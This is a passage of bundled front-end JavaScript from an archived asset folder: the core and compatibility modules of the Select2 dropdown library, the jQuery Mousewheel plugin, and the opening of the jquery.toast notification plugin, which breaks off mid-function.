contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(true, this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if (Utils.GetData($e[0], 'select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); Utils.StoreData($e[0], 'tags', true); } if (Utils.GetData($e[0], 'ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0])); } else { dataset = Utils.GetData($e[0]); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if (Utils.GetData($element[0], 'select2') != null) { Utils.GetData($element[0], 'select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; Utils.StoreData($element[0], 'old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); Utils.StoreData($element[0], 'select2', this); // Ensure backwards compatibility with $element.data('select2'). $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting', 'clear': 'clearing' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', Utils.GetData(this.$element[0], 'old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); Utils.RemoveData(this.$element[0]); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); Utils.StoreData($container[0], 'element', this.$element); return $container; }; return Select2; }); S2.define('select2/compat/utils',[ 'jquery' ], function ($) { function syncCssClasses ($dest, $src, adapter) { var classes, replacements = [], adapted; classes = $.trim($dest.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Save all Select2 classes if (this.indexOf('select2-') === 0) { replacements.push(this); } }); } classes = $.trim($src.attr('class')); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each(function () { // Only adapt non-Select2 classes if (this.indexOf('select2-') !== 0) { adapted = adapter(this); if (adapted != null) { replacements.push(adapted); } } }); } $dest.attr('class', replacements.join(' ')); } return { syncCssClasses: syncCssClasses }; }); S2.define('select2/compat/containerCss',[ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _containerAdapter (clazz) { return null; } function ContainerCSS () { } ContainerCSS.prototype.render = function (decorated) { var $container = decorated.call(this); var containerCssClass = this.options.get('containerCssClass') || ''; if ($.isFunction(containerCssClass)) { containerCssClass = containerCssClass(this.$element); } var containerCssAdapter = this.options.get('adaptContainerCssClass'); containerCssAdapter = containerCssAdapter || _containerAdapter; if (containerCssClass.indexOf(':all:') !== -1) { containerCssClass = containerCssClass.replace(':all:', ''); var _cssAdapter = containerCssAdapter; containerCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var containerCss = this.options.get('containerCss') || {}; if ($.isFunction(containerCss)) { containerCss = containerCss(this.$element); } CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter); $container.css(containerCss); $container.addClass(containerCssClass); return $container; }; return ContainerCSS; }); S2.define('select2/compat/dropdownCss',[ 'jquery', './utils' ], function ($, CompatUtils) { // No-op CSS adapter that discards all classes by default function _dropdownAdapter (clazz) { return null; } function DropdownCSS () { } DropdownCSS.prototype.render = function (decorated) { var $dropdown = decorated.call(this); var dropdownCssClass = this.options.get('dropdownCssClass') || ''; if ($.isFunction(dropdownCssClass)) { dropdownCssClass = dropdownCssClass(this.$element); } var dropdownCssAdapter = this.options.get('adaptDropdownCssClass'); dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter; if (dropdownCssClass.indexOf(':all:') !== -1) { dropdownCssClass = dropdownCssClass.replace(':all:', ''); var _cssAdapter = dropdownCssAdapter; dropdownCssAdapter = function (clazz) { var adapted = _cssAdapter(clazz); if (adapted != null) { // Append the old one along with the adapted one return adapted + ' ' + clazz; } return clazz; }; } var dropdownCss = this.options.get('dropdownCss') || {}; if ($.isFunction(dropdownCss)) { dropdownCss = dropdownCss(this.$element); } CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter); $dropdown.css(dropdownCss); $dropdown.addClass(dropdownCssClass); return $dropdown; }; return DropdownCSS; }); S2.define('select2/compat/initSelection',[ 'jquery' ], function ($) { function InitSelection (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `initSelection` option has been deprecated in favor' + ' of a custom data adapter that overrides the `current` method. ' + 'This method is now called multiple times instead of a single ' + 'time when the instance is initialized. Support will be removed ' + 'for the `initSelection` option in future versions of Select2' ); } this.initSelection = options.get('initSelection'); this._isInitialized = false; decorated.call(this, $element, options); } InitSelection.prototype.current = function (decorated, callback) { var self = this; if (this._isInitialized) { decorated.call(this, callback); return; } this.initSelection.call(null, this.$element, function (data) { self._isInitialized = true; if (!$.isArray(data)) { data = [data]; } callback(data); }); }; return InitSelection; }); S2.define('select2/compat/inputData',[ 'jquery', '../utils' ], function ($, Utils) { function InputData (decorated, $element, options) { this._currentData = []; this._valueSeparator = options.get('valueSeparator') || ','; if ($element.prop('type') === 'hidden') { if (options.get('debug') && console && console.warn) { console.warn( 'Select2: Using a hidden input with Select2 is no longer ' + 'supported and may stop working in the future. It is recommended ' + 'to use a `<select>` element instead.' ); } } decorated.call(this, $element, options); } InputData.prototype.current = function (_, callback) { function getSelected (data, selectedIds) { var selected = []; if (data.selected || $.inArray(data.id, selectedIds) !== -1) { data.selected = true; selected.push(data); } else { data.selected = false; } if (data.children) { selected.push.apply(selected, getSelected(data.children, selectedIds)); } return selected; } var selected = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; selected.push.apply( selected, getSelected( data, this.$element.val().split( this._valueSeparator ) ) ); } callback(selected); }; InputData.prototype.select = function (_, data) { if (!this.options.get('multiple')) { this.current(function (allData) { $.map(allData, function (data) { data.selected = false; }); }); this.$element.val(data.id); this.$element.trigger('change'); } else { var value = this.$element.val(); value += this._valueSeparator + data.id; this.$element.val(value); this.$element.trigger('change'); } }; InputData.prototype.unselect = function (_, data) { var self = this; data.selected = false; this.current(function (allData) { var values = []; for (var d = 0; d < allData.length; d++) { var item = allData[d]; if (data.id == item.id) { continue; } values.push(item.id); } self.$element.val(values.join(self._valueSeparator)); self.$element.trigger('change'); }); }; InputData.prototype.query = function (_, params, callback) { var results = []; for (var d = 0; d < this._currentData.length; d++) { var data = this._currentData[d]; var matches = this.matches(params, data); if (matches !== null) { results.push(matches); } } callback({ results: results }); }; InputData.prototype.addOptions = function (_, $options) { var options = $.map($options, function ($option) { return Utils.GetData($option[0], 'data'); }); this._currentData.push.apply(this._currentData, options); }; return InputData; }); S2.define('select2/compat/matcher',[ 'jquery' ], function ($) { function oldMatcher (matcher) { function wrappedMatcher (params, data) { var match = $.extend(true, {}, data); if (params.term == null || $.trim(params.term) === '') { return match; } if (data.children) { for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; // Check if the child object matches // The old matcher returned a boolean true or false var doesMatch = matcher(params.term, child.text, child); // If the child didn't match, pop it off if (!doesMatch) { match.children.splice(c, 1); } } if (match.children.length > 0) { return match; } } if (matcher(params.term, data.text, data)) { return match; } return null; } return wrappedMatcher; } return oldMatcher; }); S2.define('select2/compat/query',[ ], function () { function Query (decorated, $element, options) { if (options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `query` option has been deprecated in favor of a ' + 'custom data adapter that overrides the `query` method. Support ' + 'will be removed for the `query` option in future versions of ' + 'Select2.' ); } decorated.call(this, $element, options); } Query.prototype.query = function (_, params, callback) { params.callback = callback; var query = this.options.get('query'); query.call(null, params); }; return Query; }); S2.define('select2/dropdown/attachContainer',[ ], function () { function AttachContainer (decorated, $element, options) { decorated.call(this, $element, options); } AttachContainer.prototype.position = function (decorated, $dropdown, $container) { var $dropdownContainer = $container.find('.dropdown-wrapper'); $dropdownContainer.append($dropdown); $dropdown.addClass('select2-dropdown--below'); $container.addClass('select2-container--below'); }; return AttachContainer; }); S2.define('select2/dropdown/stopPropagation',[ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$dropdown.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); S2.define('select2/selection/stopPropagation',[ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$selection.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); /*! * jQuery Mousewheel 3.1.13 * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license */ (function (factory) { if ( typeof S2.define === 'function' && S2.define.amd ) { // AMD. Register as an anonymous module. S2.define('jquery-mousewheel',['jquery'], factory); } else if (typeof exports === 'object') { // Node/CommonJS style for Browserify module.exports = factory; } else { // Browser globals factory(jQuery); } }(function ($) { var toFix = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'], toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ? ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'], slice = Array.prototype.slice, nullLowestDeltaTimeout, lowestDelta; if ( $.event.fixHooks ) { for ( var i = toFix.length; i; ) { $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks; } } var special = $.event.special.mousewheel = { version: '3.1.12', setup: function() { if ( this.addEventListener ) { for ( var i = toBind.length; i; ) { this.addEventListener( toBind[--i], handler, false ); } } else { this.onmousewheel = handler; } // Store the line height and page height for this particular element $.data(this, 'mousewheel-line-height', special.getLineHeight(this)); $.data(this, 'mousewheel-page-height', special.getPageHeight(this)); }, teardown: function() { if ( this.removeEventListener ) { for ( var i = toBind.length; i; ) { this.removeEventListener( toBind[--i], handler, false ); } } else { this.onmousewheel = null; } // Clean up the data we added to the element $.removeData(this, 'mousewheel-line-height'); $.removeData(this, 'mousewheel-page-height'); }, getLineHeight: function(elem) { var $elem = $(elem), $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent'](); if (!$parent.length) { $parent = $('body'); } return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16; }, getPageHeight: function(elem) { return $(elem).height(); }, settings: { adjustOldDeltas: true, // see shouldAdjustOldDeltas() below normalizeOffset: true // calls getBoundingClientRect for each event } }; $.fn.extend({ mousewheel: function(fn) { return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel'); }, unmousewheel: function(fn) { return this.unbind('mousewheel', fn); } }); function handler(event) { var orgEvent = event || window.event, args = slice.call(arguments, 1), delta = 0, deltaX = 0, deltaY = 0, absDelta = 0, offsetX = 0, offsetY = 0; event = $.event.fix(orgEvent); event.type = 'mousewheel'; // Old school scrollwheel delta if ( 'detail' in orgEvent ) { deltaY = orgEvent.detail * -1; } if ( 'wheelDelta' in orgEvent ) { deltaY = orgEvent.wheelDelta; } if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY; } if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; } // Firefox < 17 horizontal scrolling related to DOMMouseScroll event if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) { deltaX = deltaY * -1; deltaY = 0; } // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy delta = deltaY === 0 ? deltaX : deltaY; // New school wheel delta (wheel event) if ( 'deltaY' in orgEvent ) { deltaY = orgEvent.deltaY * -1; delta = deltaY; } if ( 'deltaX' in orgEvent ) { deltaX = orgEvent.deltaX; if ( deltaY === 0 ) { delta = deltaX * -1; } } // No change actually happened, no reason to go any further if ( deltaY === 0 && deltaX === 0 ) { return; } // Need to convert lines and pages to pixels if we aren't already in pixels // There are three delta modes: // * deltaMode 0 is by pixels, nothing to do // * deltaMode 1 is by lines // * deltaMode 2 is by pages if ( orgEvent.deltaMode === 1 ) { var lineHeight = $.data(this, 'mousewheel-line-height'); delta *= lineHeight; deltaY *= lineHeight; deltaX *= lineHeight; } else if ( orgEvent.deltaMode === 2 ) { var pageHeight = $.data(this, 'mousewheel-page-height'); delta *= pageHeight; deltaY *= pageHeight; deltaX *= pageHeight; } // Store lowest absolute delta to normalize the delta values absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) ); if ( !lowestDelta || absDelta < lowestDelta ) { lowestDelta = absDelta; // Adjust older deltas if necessary if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) { lowestDelta /= 40; } } // Adjust older deltas if necessary if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) { // Divide all the things by 40! delta /= 40; deltaX /= 40; deltaY /= 40; } // Get a whole, normalized value for the deltas delta = Math[ delta >= 1 ? 'floor' : 'ceil' ](delta / lowestDelta); deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta); deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta); // Normalise offsetX and offsetY properties if ( special.settings.normalizeOffset && this.getBoundingClientRect ) { var boundingRect = this.getBoundingClientRect(); offsetX = event.clientX - boundingRect.left; offsetY = event.clientY - boundingRect.top; } // Add information to the event object event.deltaX = deltaX; event.deltaY = deltaY; event.deltaFactor = lowestDelta; event.offsetX = offsetX; event.offsetY = offsetY; // Go ahead and set deltaMode to 0 since we converted to pixels // Although this is a little odd since we overwrite the deltaX/Y // properties with normalized deltas. event.deltaMode = 0; // Add event and delta to the front of the arguments args.unshift(event, delta, deltaX, deltaY); // Clearout lowestDelta after sometime to better // handle multiple device types that give different // a different lowestDelta // Ex: trackpad = 3 and mouse wheel = 120 if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); } nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200); return ($.event.dispatch || $.event.handle).apply(this, args); } function nullLowestDelta() { lowestDelta = null; } function shouldAdjustOldDeltas(orgEvent, absDelta) { // If this is an older event and the delta is divisable by 120, // then we are assuming that the browser is treating this as an // older mouse wheel event and that we should divide the deltas // by 40 to try and get a more usable deltaFactor. // Side note, this actually impacts the reported scroll distance // in older browsers and can cause scrolling to be slower than native. // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false. return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0; } })); S2.define('jquery.select2',[ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults', './select2/utils' ], function ($, _, Select2, Defaults, Utils) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = Utils.GetData(this, 'select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; }); // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); jquery.toast.js000064400000031166151701431760007566 0ustar00// jQuery toast plugin created by Kamran Ahmed copyright MIT license 2015 if ( typeof Object.create !== 'function' ) { Object.create = function( obj ) { function F() {} F.prototype = obj; return new F(); }; } (function( $, window, document, undefined ) { "use strict"; var Toast = { _positionClasses : ['bottom-left', 'bottom-right', 'top-right', 'top-left', 'bottom-center', 'top-center', 'mid-center'], _defaultIcons : ['success', 'error', 'info', 'warning'], init: function (options, elem) { this.prepareOptions(options, $.toast.options); this.process(); }, prepareOptions: function(options, options_to_extend) { var _options = {}; if ( ( typeof options === 'string' ) || ( options instanceof Array ) ) { _options.text = options; } else { _options = options; } this.options = $.extend( {}, options_to_extend, _options ); }, process: function () { this.setup(); this.addToDom(); this.position(); this.bindToast(); this.animate(); }, setup: function () { var _toastContent = ''; this._toastEl = this._toastEl || $('<div></div>', { class : 'jq-toast-single' }); // For the loader on top _toastContent += '<span class="jq-toast-loader"></span>'; if ( this.options.allowToastClose ) { _toastContent += '<span class="close-jq-toast-single">×</span>'; }; if ( this.options.text instanceof Array ) { if ( this.options.heading ) { _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>'; }; _toastContent += '<ul class="jq-toast-ul">'; for (var i = 0; i < this.options.text.length; i++) { _toastContent += '<li class="jq-toast-li" id="jq-toast-item-' + i + '">' + this.options.text[i] + '</li>'; } _toastContent += '</ul>'; } else { if ( this.options.heading ) { _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>'; }; _toastContent += this.options.text; } this._toastEl.html( _toastContent ); if ( this.options.bgColor !== false ) { this._toastEl.css("background-color", this.options.bgColor); }; if ( this.options.textColor !== false ) { this._toastEl.css("color", this.options.textColor); }; 